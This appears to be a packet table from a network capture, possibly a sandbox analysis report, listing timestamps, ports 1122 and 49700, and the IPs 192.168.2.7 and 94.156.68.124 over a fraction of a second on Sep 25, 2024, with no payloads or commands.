Sep 25, 2024 01:11:12.146928072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146934032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146934032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146943092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146959066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146960974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.146974087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.146996021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147013903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.147021055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147037029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147041082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.147056103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147072077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147089005 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.147114038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.147564888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147583008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147599936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.147619963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.196537971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.225805998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.225830078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.225846052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.225908995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.225925922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.225950003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.225970030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226089001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226104975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226121902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226130962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226138115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226152897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226161003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226185083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226372957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226387024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226402044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226416111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226421118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226429939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226457119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226670027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226686001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226701021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226711035 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226718903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226735115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226736069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226771116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.226973057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.226988077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.227009058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.227025986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.230701923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230721951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230737925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230797052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.230814934 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.230842113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230858088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230873108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230895996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.230973959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.230988026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231003046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231014967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231036901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231173038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231188059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231201887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231219053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231232882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231234074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231256962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231477976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231492996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231508017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231523037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231523991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231539011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231548071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231555939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231570959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.231574059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.231615067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232278109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232291937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232306957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232322931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232335091 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232338905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232355118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232445002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232460022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232474089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232481956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232507944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232796907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232812881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232826948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232841969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.232851982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.232877970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233051062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233067036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233083010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233095884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233105898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233130932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233242035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233256102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233270884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233284950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233295918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233300924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233315945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233321905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233334064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233349085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233359098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233386040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233886957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233902931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233917952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233932972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233947992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233952999 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233966112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.233973980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.233983994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234000921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234363079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234378099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234392881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234407902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234420061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234424114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234441042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234448910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234462023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234462976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234477043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234499931 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234687090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234702110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234718084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234730959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234754086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234834909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234849930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234872103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234886885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234889030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.234903097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.234920979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235007048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235019922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235034943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235044956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235049963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235065937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235069036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235111952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235166073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235182047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235196114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235213041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235224962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235228062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235243082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235244989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235256910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235270977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235281944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235285997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235301018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235308886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235316992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235332966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235837936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.235889912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.235990047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236006021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236020088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236036062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236044884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236049891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236066103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236074924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236083031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236098051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236103058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236123085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236140013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236154079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236167908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236170053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236177921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236186028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236198902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.236574888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.236623049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.310616970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310640097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310657024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310694933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310712099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310725927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310765982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.310806990 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.310853004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310869932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310885906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.310914040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311043978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311059952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311074972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311081886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311091900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311110020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311343908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311359882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311374903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311391115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311409950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311417103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311427116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311464071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311705112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311722040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311757088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.311882019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311897993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.311943054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315509081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315542936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315557957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315634012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315676928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315726042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315798998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315819979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315834999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315850019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315861940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315865993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315882921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315892935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315897942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315915108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.315926075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.315952063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316179991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316194057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316209078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316231966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316294909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316308022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316322088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316330910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316337109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316350937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316359043 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316365957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316380978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316395998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316402912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316425085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316426039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316462994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316489935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316504955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316539049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316844940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316859961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316874027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316899061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316925049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316941023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316953897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316962957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.316968918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.316987991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317084074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317120075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317162991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317178965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317193031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317208052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317218065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317245960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317325115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317341089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317356110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317370892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317378998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317387104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317405939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317612886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317629099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317642927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317656040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317656994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317672014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317682028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317697048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317713022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317725897 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.317728996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.317751884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319025040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319048882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319062948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319077015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319091082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319097996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319097996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319108963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319123983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319133997 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319145918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319169998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319186926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319202900 CEST	1122	49700	94.156.68.124	192.168.2.7
